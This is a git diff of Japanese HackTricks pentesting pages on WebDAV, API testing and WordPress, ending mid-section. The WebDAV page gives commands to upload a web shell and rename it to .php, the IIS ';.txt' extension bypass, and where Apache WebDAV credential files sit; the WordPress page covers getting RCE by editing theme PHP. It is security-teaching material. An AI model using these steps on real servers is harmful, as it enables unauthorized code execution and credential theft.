[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)を使用して、世界で最も先進的なコミュニティツールによって強化された**ワークフローを簡単に構築**し、自動化します。\
|
||||
今すぐアクセスを取得:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
@ -12,24 +12,24 @@
|
|||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* **サイバーセキュリティ企業で働いていますか?** **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSを入手**したいですか、またはHackTricksをPDFでダウンロードしたいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう、独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです
|
||||
* [**公式のPEASS&HackTricks swag**](https://peass.creator-spring.com)を手に入れましょう
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
|
||||
* **サイバーセキュリティ企業で働いていますか?** **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSを入手**したり、HackTricksを**PDFでダウンロード**したりしたいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう、独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
|
||||
* [**公式のPEASS&HackTricks swag**](https://peass.creator-spring.com)を手に入れましょう。
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* **ハッキングのトリックを共有するには、**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **および** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **にPRを提出**してください。
|
||||
|
||||
</details>
|
||||
|
||||
アクティブな**WebDavを持つHTTPサーバー**は、おそらくファイルを**更新、削除、移動、コピー**することができるサーバーです。**時には**有効な資格情報**(通常はHTTPベーシック認証で確認)が必要です。
|
||||
アクティブな**WebDavを持つHTTPサーバー**は、おそらくファイルを**更新、削除、移動、コピー**することができるサーバーです。**時には**有効な資格情報**が必要**です(通常、HTTPベーシック認証で確認します)。
|
||||
|
||||
Webサーバーから**いくつかのWebシェルをアップロード**して**実行**し、サーバーを制御しましょう。\
|
||||
Webサーバーから**いくつかのWebシェルをアップロード**して、サーバーを制御するためにそれを**実行**してみてください。\
|
||||
通常、WebDavサーバーに接続するには、有効な**資格情報**が必要です:[**WebDavブルートフォース**](../../generic-methodologies-and-resources/brute-force.md#http-basic-auth)(基本認証)。
|
||||
|
||||
他の一般的な設定は、Webサーバーによって**実行される**ファイルの**拡張子**で**ファイルのアップロードを禁止**することです。これを**バイパス**する方法を確認する必要があります。
|
||||
他の一般的な設定は、Webサーバーによって**実行される**ファイルの**拡張子**で**ファイルのアップロードを禁止**することです。これを**バイパス**する方法を確認する必要があります:
|
||||
|
||||
* **実行可能な拡張子**を持つファイルを**アップロード**します(おそらく禁止されていない場合)。
|
||||
* **実行可能な拡張子**を持たないファイル(.txtなど)を**アップロード**し、ファイルを**実行可能な拡張子**で**名前を変更**(移動)してみてください。
|
||||
* **実行可能な拡張子**を持たないファイル(.txtなど)を**アップロード**し、ファイルを**実行可能な拡張子**で**コピー**(移動)してみてください。
|
||||
* **実行可能な拡張子**でファイルを**移動**(名前を変更)してみてください。
|
||||
* **実行可能な拡張子**でファイルを**コピー**(移動)してみてください。
|
||||
|
||||
## DavTest
|
||||
|
||||
|
@ -42,11 +42,11 @@ davtest [-auth user:password] -sendbd auto -url http://<IP> #Try to upload every
|
|||
|
||||
![](<../../.gitbook/assets/image (19) (1).png>)
|
||||
|
||||
これは、**.txt**および**.html拡張子が実行されている**ことを意味しません。これは、これらのファイルに**Web経由でアクセスできる**ことを意味します。
|
||||
これは、**.txt** と **.html 拡張子が実行されている**ことを意味しません。これは、これらのファイルにウェブを通じて**アクセスできる**ことを意味します。
|
||||
|
||||
## Cadaver
|
||||
|
||||
このツールを使用して、**WebDavサーバーに接続**し、**アップロード**、**移動**、**削除**などの操作を**手動で**実行できます。
|
||||
このツールを使用して、**WebDav サーバーに接続**し、**アップロード**、**移動**、**削除**などの操作を**手動で**実行できます。
|
||||
```
|
||||
cadaver <IP>
|
||||
```
|
||||
|
@ -54,59 +54,53 @@ cadaver <IP>
|
|||
|
||||
A PUT request is an HTTP method used to update or create a resource on a server. It is commonly used in web development and web services. The PUT method allows the client to send data to the server to update an existing resource or create a new one.
|
||||
|
||||
PUTリクエストは、サーバー上のリソースを更新または作成するために使用されるHTTPメソッドです。これは、ウェブ開発やウェブサービスでよく使用されます。PUTメソッドを使用すると、クライアントは既存のリソースを更新するためにデータをサーバーに送信したり、新しいリソースを作成したりすることができます。
|
||||
PUTリクエストは、サーバー上のリソースを更新または作成するために使用されるHTTPメソッドです。ウェブ開発やウェブサービスでよく使用されます。PUTメソッドを使用すると、クライアントは既存のリソースを更新するためにデータをサーバーに送信したり、新しいリソースを作成したりすることができます。
|
||||
|
||||
To make a PUT request, the client sends an HTTP request to the server with the desired resource URL and includes the data to be updated or created in the request body. The server then processes the request and updates or creates the resource accordingly.
|
||||
|
||||
PUTリクエストを行うには、クライアントは要求したいリソースのURLを含んだHTTPリクエストをサーバーに送信し、リクエストボディに更新または作成するデータを含めます。サーバーはその後、リクエストを処理し、リソースを更新または作成します。
|
||||
|
||||
It is important to note that the PUT method is idempotent, meaning that multiple identical requests will have the same effect as a single request. This allows for safe and predictable updates or creations of resources.
|
||||
|
||||
重要な点として、PUTメソッドは冪等性を持っていることに注意が必要です。つまり、複数の同一のリクエストは単一のリクエストと同じ効果を持ちます。これにより、リソースの安全で予測可能な更新や作成が可能になります。
|
||||
|
||||
In the context of web application penetration testing, the PUT method can be used to test for vulnerabilities such as improper input validation, insecure file uploads, or server misconfigurations that allow unauthorized resource modifications.
|
||||
|
||||
ウェブアプリケーションのペネトレーションテストの文脈では、PUTメソッドは不適切な入力検証、安全でないファイルのアップロード、または認可されていないリソースの変更を許すサーバーの誤った設定などの脆弱性をテストするために使用することができます。
|
||||
```
|
||||
curl -T 'shell.txt' 'http://$ip'
|
||||
```
|
||||
## MOVE リクエスト
|
||||
|
||||
The MOVE request is an HTTP method used in WebDAV (Web Distributed Authoring and Versioning) to move a resource from one location to another. It is similar to the HTTP PUT method, but instead of creating a new resource, it moves an existing resource to a new location.
|
||||
The MOVE request is used in WebDAV to move a resource from one location to another. It is similar to the HTTP PUT method, but instead of creating a new resource, it moves an existing resource to a new location.
|
||||
|
||||
MOVE リクエストは、WebDAV(Web Distributed Authoring and Versioning)で使用されるHTTPメソッドであり、リソースを1つの場所から別の場所に移動するために使用されます。これはHTTP PUTメソッドと似ていますが、新しいリソースを作成する代わりに、既存のリソースを新しい場所に移動します。
|
||||
MOVE リクエストは、WebDAV でリソースを1つの場所から別の場所に移動するために使用されます。これは HTTP PUT メソッドと似ていますが、新しいリソースを作成する代わりに、既存のリソースを新しい場所に移動します。
|
||||
|
||||
### Syntax
|
||||
The MOVE request is sent with the following syntax:
|
||||
|
||||
The syntax for the MOVE request is as follows:
|
||||
|
||||
MOVE /source-URL HTTP/1.1
|
||||
Host: example.com
|
||||
Destination: /destination-URL
|
||||
|
||||
### Syntax(構文)
|
||||
|
||||
MOVE リクエストの構文は次のようになります:
|
||||
|
||||
MOVE /source-URL HTTP/1.1
|
||||
Host: example.com
|
||||
Destination: /destination-URL
|
||||
|
||||
### Example
|
||||
|
||||
Here is an example of a MOVE request:
|
||||
MOVE リクエストは、次の構文で送信されます:
|
||||
|
||||
```
|
||||
MOVE /file.txt HTTP/1.1
|
||||
MOVE /source-resource HTTP/1.1
|
||||
Host: example.com
|
||||
Destination: /new-folder/file.txt
|
||||
Destination: /destination-resource
|
||||
```
|
||||
|
||||
### Example(例)
|
||||
The `source-resource` is the URL of the resource that needs to be moved, and the `destination-resource` is the URL of the new location where the resource should be moved to.
|
||||
|
||||
以下は MOVE リクエストの例です:
|
||||
`source-resource` は移動する必要のあるリソースの URL であり、`destination-resource` はリソースを移動する新しい場所の URL です。
|
||||
|
||||
```
|
||||
MOVE /file.txt HTTP/1.1
|
||||
Host: example.com
|
||||
Destination: /new-folder/file.txt
|
||||
```
|
||||
The server responds with a `200 OK` status code if the move is successful. If the resource cannot be moved, the server may respond with a `409 Conflict` status code.
|
||||
|
||||
In this example, the file.txt resource located at the root of the server is moved to the /new-folder/file.txt location.
|
||||
サーバーは、移動が成功した場合に `200 OK` ステータスコードで応答します。リソースを移動できない場合、サーバーは `409 Conflict` ステータスコードで応答する場合があります。
|
||||
|
||||
この例では、サーバーのルートにある file.txt リソースが /new-folder/file.txt の場所に移動されます。
|
||||
The MOVE request can be used by an attacker to move sensitive files to a location where they can be accessed by unauthorized users. It can also be used to overwrite existing files, causing data loss or disruption of services.
|
||||
|
||||
MOVE リクエストは、攻撃者が機密ファイルを権限のないユーザーがアクセスできる場所に移動するために使用されることがあります。また、既存のファイルを上書きしてデータの損失やサービスの中断を引き起こすこともあります。
|
||||
```
|
||||
curl -X MOVE --header 'Destination:http://$ip/shell.php' 'http://$ip/shell.txt'
|
||||
```
|
||||
![](<../../.gitbook/assets/image (9) (1) (2).png>)
|
||||
<figure><img src="/.gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)を使用して、世界で最も高度なコミュニティツールによって強化された**ワークフロー**を簡単に構築し、自動化することができます。\
|
||||
|
@ -116,15 +110,15 @@ curl -X MOVE --header 'Destination:http://$ip/shell.php' 'http://$ip/shell.txt'
|
|||
|
||||
## IIS5/6 WebDavの脆弱性
|
||||
|
||||
この脆弱性は非常に興味深いです。**WebDav**は、拡張子**.asp**のファイルを**アップロード**または**名前を変更**することを**許可しません**。しかし、名前の末尾に**";.txt"**を追加することで、この制限を**バイパス**することができ、ファイルは.aspファイルとして**実行**されます(".txt"の代わりに".html"を使用することもできますが、**";"を忘れないでください**)。
|
||||
この脆弱性は非常に興味深いです。**WebDav**は、拡張子**.asp**のファイルの**アップロード**や**名前の変更**を**許可しません**。しかし、名前の末尾に**";.txt"**を追加することで、この制限を**バイパス**することができ、ファイルは**.aspファイルとして実行**されます(".txt"の代わりに".html"を使用することもできますが、**";"を忘れないでください**)。
|
||||
|
||||
その後、シェルを".**txtファイル**"としてアップロードし、それを".asp;.txtファイル"に**コピー/移動**します。Webサーバーを介してそのファイルにアクセスすると、それが**実行**されます(cadaverは移動アクションが機能しなかったと言いますが、実際には機能しています)。
|
||||
その後、シェルを".**txtファイル**"としてアップロードし、それを".asp;.txtファイル"に**コピー/移動**します。Webサーバーを介してそのファイルにアクセスすると、それが**実行**されます(cadaverは移動操作が機能しなかったと言いますが、実際には機能しています)。
|
||||
|
||||
![](<../../.gitbook/assets/image (18) (1) (1).png>)
|
||||
|
||||
## 認証情報の投稿
|
||||
|
||||
WebdavがApacheサーバーを使用している場合は、Apacheで構成されたサイトを確認する必要があります。一般的には:\
|
||||
WebdavがApacheサーバーを使用している場合、Apacheの設定されたサイトを確認する必要があります。一般的には:\
|
||||
_**/etc/apache2/sites-enabled/000-default**_
|
||||
|
||||
その中には、次のようなものが見つかるかもしれません:
|
||||
|
@ -138,7 +132,7 @@ AuthName "webdav"
|
|||
AuthUserFile /etc/apache2/users.password
|
||||
Require valid-user
|
||||
```
|
||||
以下に、**WebDAV**サーバーの有効な**資格情報**を持つファイルがあることがわかります:
|
||||
以下のように、**webdav**サーバーの有効な**資格情報**を持つファイルがあります。
|
||||
```
|
||||
/etc/apache2/users.password
|
||||
```
|
||||
|
@ -156,7 +150,7 @@ wget --user <USERNAME> --ask-password http://domain/path/to/webdav/ -O - -q
|
|||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSを入手したり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
|
||||
* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
|
@ -164,7 +158,7 @@ wget --user <USERNAME> --ask-password http://domain/path/to/webdav/ -O - -q
|
|||
|
||||
</details>
|
||||
|
||||
![](<../../.gitbook/assets/image (9) (1) (2).png>)
|
||||
<figure><img src="/.gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)を使用して、世界で最も**高度なコミュニティツール**によって強化された**ワークフローを簡単に構築**および**自動化**します。\
|
||||
|
|
|
@ -7,14 +7,14 @@
|
|||
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
|
||||
* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**をフォロー**してください。
|
||||
* **ハッキングのトリックを共有するには、**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **にPRを提出**してください。
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**Trickest**](https://trickest.io/)を使用して、世界で最も高度なコミュニティツールによって強化されたワークフローを簡単に構築および自動化します。\
|
||||
[**Trickest**](https://trickest.io/)を使用して、世界で最も高度なコミュニティツールによって強化されたワークフローを簡単に構築して自動化しましょう。\
|
||||
今すぐアクセスを取得:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
@ -24,8 +24,8 @@
|
|||
メイン:
|
||||
|
||||
* **Webサービス(SOAP/XML)**
|
||||
* ドキュメントは通常、`?wsdl`のようなパスに保存される**WSDL**形式を使用します。例:`https://api.example.com/api/?wsdl`
|
||||
* このドキュメントの例は、[http://www.dneonline.com/calculator.asmx](http://www.dneonline.com/calculator.asmx)(WSDLドキュメントは[http://www.dneonline.com/calculator.asmx?wsdl](http://www.dneonline.com/calculator.asmx?wsdl))にあり、[http://www.dneonline.com/calculator.asmx?op=Add](http://www.dneonline.com/calculator.asmx?op=Add)で`Add`メソッドを呼び出す例のリクエストを見ることができます。
|
||||
* ドキュメントは通常、`?wsdl`のようなパスに保存された**WSDL**形式を使用します。例:`https://api.example.com/api/?wsdl`
|
||||
* このドキュメントの例は、[http://www.dneonline.com/calculator.asmx](http://www.dneonline.com/calculator.asmx)(WSDLドキュメントは[http://www.dneonline.com/calculator.asmx?wsdl](http://www.dneonline.com/calculator.asmx?wsdl))にあり、[http://www.dneonline.com/calculator.asmx?op=Add](http://www.dneonline.com/calculator.asmx?op=Add)で`Add`メソッドを呼び出す例のリクエストを確認できます。
|
||||
* これらのファイルを解析して例のリクエストを作成するには、**SOAPUI**ツールまたは**WSDLer** Burp Suite拡張機能を使用できます。
|
||||
* **REST API(JSON)**
|
||||
* 標準のドキュメントはWADLファイルです。ここに例があります:[https://www.w3.org/Submission/wadl/](https://www.w3.org/Submission/wadl/)。ただし、[https://swagger.io/tools/swagger-ui/](https://swagger.io/tools/swagger-ui/)のような他の開発者向けのAPI表現エンジンもあります(ページのデモを確認してください)。
|
||||
|
@ -57,7 +57,7 @@ APIの[**CORS**](../../pentesting-web/cors-bypass.md)構成を常に確認して
|
|||
### パターン
|
||||
|
||||
API内のパターンを検索し、それを使用してさらに発見することができます。\
|
||||
例えば、_/api/albums/**\<album\_id>**/photos/**\<photo\_id>**_が見つかった場合、_/api/**posts**/\<post\_id>/**comment**/_のようなものも試してみることができます。いくつかのファズツールを使用して、新しいエンドポイントを発見します。
|
||||
例えば、_/api/albums/**\<album\_id>**/photos/**\<photo\_id>**_のようなものが見つかった場合、_/api/**posts**/\<post\_id>/**comment**/_のようなものも試してみることができます。いくつかのファズツールを使用して、新しいエンドポイントを発見します。
|
||||
|
||||
### パラメータの追加
|
||||
|
||||
|
@ -68,7 +68,7 @@ _/api/MyPictureList → /api/MyPictureList?**user\_id=\<other\_user\_id>**_
|
|||
|
||||
パラメータを**ファズ**したり、別のエンドポイントで**見たパラメータ**を使用して他の情報にアクセスしようとすることができます。
|
||||
|
||||
例えば、次のようなものを見つけた場合:_/api/albums?**album\_id=\<album id>**_
|
||||
例えば、次のようなものが見つかった場合:_/api/albums?**album\_id=\<album id>**_
|
||||
|
||||
**`album_id`**パラメータを完全に異なるもので置き換え、他のデータにアクセスすることができます:_/api/albums?**account\_id=\<account id>**_
|
||||
### パラメータ汚染
|
||||
|
@ -137,7 +137,7 @@ AutoRepeater Burp拡張機能: 置換ルールを追加
|
|||
* `マッチ: v2 (より高いバージョン)`
|
||||
* `置換: v1 (より低いバージョン)`
|
||||
|
||||
![](../.gitbook/assets/image%20\(9\)%20\(1\)%20\(2\).png)
|
||||
<figure><img src="/.gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
[**Trickest**](https://trickest.io/)を使用して、世界で最も高度なコミュニティツールによって強化されたワークフローを簡単に構築し、自動化できます。\
|
||||
|
@ -154,7 +154,7 @@ AutoRepeater Burp拡張機能: 置換ルールを追加
|
|||
|
||||
### 🚪 最初のゲート: `{{Recon}}`
|
||||
|
||||
APIセキュリティエンパイアに入るための最初のゲートは、APIインフラストラクチャに関する情報を収集し、APIに対して強力なリコンを実行する方法を知ることです。これにより、全体のインフラストラクチャを危険にさらす隠れたドアを抽出することができます。最新のツールと方法論を使用した最新のAPIリコンマインドマップを提供します:
|
||||
APIセキュリティエンパイアに入るための最初のゲートは、APIインフラストラクチャに関する情報を収集し、API上で強力なリコンを実行する方法を知ることです。これにより、全体のインフラストラクチャを危険にさらす隠れたドアを抽出することができます。最新のツールと方法論を使用した最新のAPIリコンマインドマップを提供します:
|
||||
|
||||
\
|
||||
![](https://github.com/Cyber-Guy1/API-SecurityEmpire/blob/main/assets/API%20Pentesting%20Mindmap.png)
|
||||
|
@ -224,7 +224,7 @@ kr brute https://domain.com/api/ -w /tmp/lang-english.txt -x 20 -d=0
|
|||
* [**TnT-Fuzzer**](https://github.com/Teebytes/TnT-Fuzzer)**:** TnT-Fuzzerは、Pythonで書かれたOpenAPI(swagger)ファジングツールです。
|
||||
* [**APIFuzzer**](https://github.com/KissPeter/APIFuzzer)**:** APIFuzzerは、APIの説明を読み取り、ステップバイステップでフィールドをファジングして、アプリケーションがファジングされたパラメータに対応できるかどうかを検証します。
|
||||
* [**API-fuzzer**](https://github.com/Fuzzapi/API-fuzzer): API\_Fuzzerジェムは、APIリクエストを入力として受け取り、APIで可能な脆弱性を返します。
|
||||
* [**race-the-web**](https://github.com/TheHackerDev/race-the-web): ウェブアプリケーションの競合状態をテストするために、ユーザー指定の数のリクエストをターゲットURL(またはURL)に_同時に_送信し、サーバーからの応答を一意性に基づいて比較します。
|
||||
* [**race-the-web**](https://github.com/TheHackerDev/race-the-web): ウェブアプリケーションの競合状態をテストするために、ユーザー指定の数のリクエストをターゲットURL(またはURL)に_同時に_送信し、サーバーからの応答を一意性で比較します。
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
|
@ -238,9 +238,9 @@ kr brute https://domain.com/api/ -w /tmp/lang-english.txt -x 20 -d=0
|
|||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* **サイバーセキュリティ企業で働いていますか? HackTricksであなたの会社を宣伝したいですか?または、最新バージョンのPEASSを入手したり、HackTricksをPDFでダウンロードしたりしたいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!**
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう、独占的な[NFTs](https://opensea.io/collection/the-peass-family)のコレクションです。
|
||||
* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう、独占的な[NFT](https://opensea.io/collection/the-peass-family)のコレクションです。
|
||||
* [**公式のPEASS&HackTricksグッズ**](https://peass.creator-spring.com)を手に入れましょう。
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
|
||||
* **ハッキングのトリックを共有するには、**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **および** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **にPRを提出してください。**
|
||||
|
||||
</details>
|
||||
|
|
|
@ -6,13 +6,13 @@
|
|||
|
||||
* **サイバーセキュリティ会社**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
|
||||
* [**公式のPEASS&HackTricks swag**](https://peass.creator-spring.com)を手に入れましょう。
|
||||
* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
|
||||
|
||||
</details>
|
||||
|
||||
![](../.gitbook/assets/image%20\(9\)%20\(1\)%20\(2\).png)
|
||||
<figure><img src="/.gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
[**Trickest**](https://trickest.io/)を使用して、世界で最も高度なコミュニティツールによって強化された**ワークフローを簡単に構築**および**自動化**します。\
|
||||
|
@ -26,9 +26,9 @@
|
|||
**テーマファイルは/wp-content/themes/にあります**ので、テーマのphpを変更してRCEを取得する場合は、おそらくこのパスを使用することになります。例えば:**twentytwelveテーマ**を使用して、次の場所にある**404.php**ファイルにアクセスできます:[**/wp-content/themes/twentytwelve/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)\
|
||||
**別の有用なURL**は次のとおりです:[**/wp-content/themes/default/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
|
||||
|
||||
**wp-config.php**にはデータベースのルートパスワードが記載されています。
|
||||
**wp-config.php**には、データベースのルートパスワードが記載されています。
|
||||
|
||||
確認するためのデフォルトのログインパス:_**/wp-login.php, /wp-login/, /wp-admin/, /wp-admin.php, /login/**_
|
||||
確認するためのデフォルトのログインパス:_**/wp-login.php、/wp-login/、/wp-admin/、/wp-admin.php、/login/**_
|
||||
|
||||
### **メインのWordPressファイル**
|
||||
|
||||
|
@ -47,7 +47,7 @@
|
|||
|
||||
**ポストエクスプロイテーション**
|
||||
|
||||
* `wp-config.php`ファイルには、WordPressがデータベースに接続するために必要な情報が含まれています。データベース名、データベースホスト、ユーザー名とパスワード、認証キーとソルト、およびデータベーステーブルの接頭辞などです。この設定ファイルは、トラブルシューティングに役立つDEBUGモードをアクティブにするためにも使用できます。
|
||||
* `wp-config.php`ファイルには、WordPressがデータベースに接続するために必要な情報が含まれています。データベース名、データベースホスト、ユーザー名とパスワード、認証キーとソルト、データベーステーブルの接頭辞などです。この設定ファイルは、トラブルシューティングに役立つDEBUGモードをアクティブにするためにも使用できます。
|
||||
|
||||
### ユーザーの権限
|
||||
|
||||
|
@ -73,11 +73,11 @@ curl https://victim.com/ | grep 'content="WordPress'
|
|||
|
||||
![](<../../.gitbook/assets/image (343).png>)
|
||||
|
||||
* CSSリンクファイル
|
||||
* CSS link files
|
||||
|
||||
![](<../../.gitbook/assets/image (344).png>)
|
||||
|
||||
* JavaScriptファイル
|
||||
* JavaScript files
|
||||
|
||||
![](<../../.gitbook/assets/image (346).png>)
|
||||
|
||||
|
@ -87,40 +87,41 @@ curl -s -X GET https://wordpress.org/support/article/pages/ | grep -E 'wp-conten
|
|||
```
|
||||
### テーマの取得
|
||||
|
||||
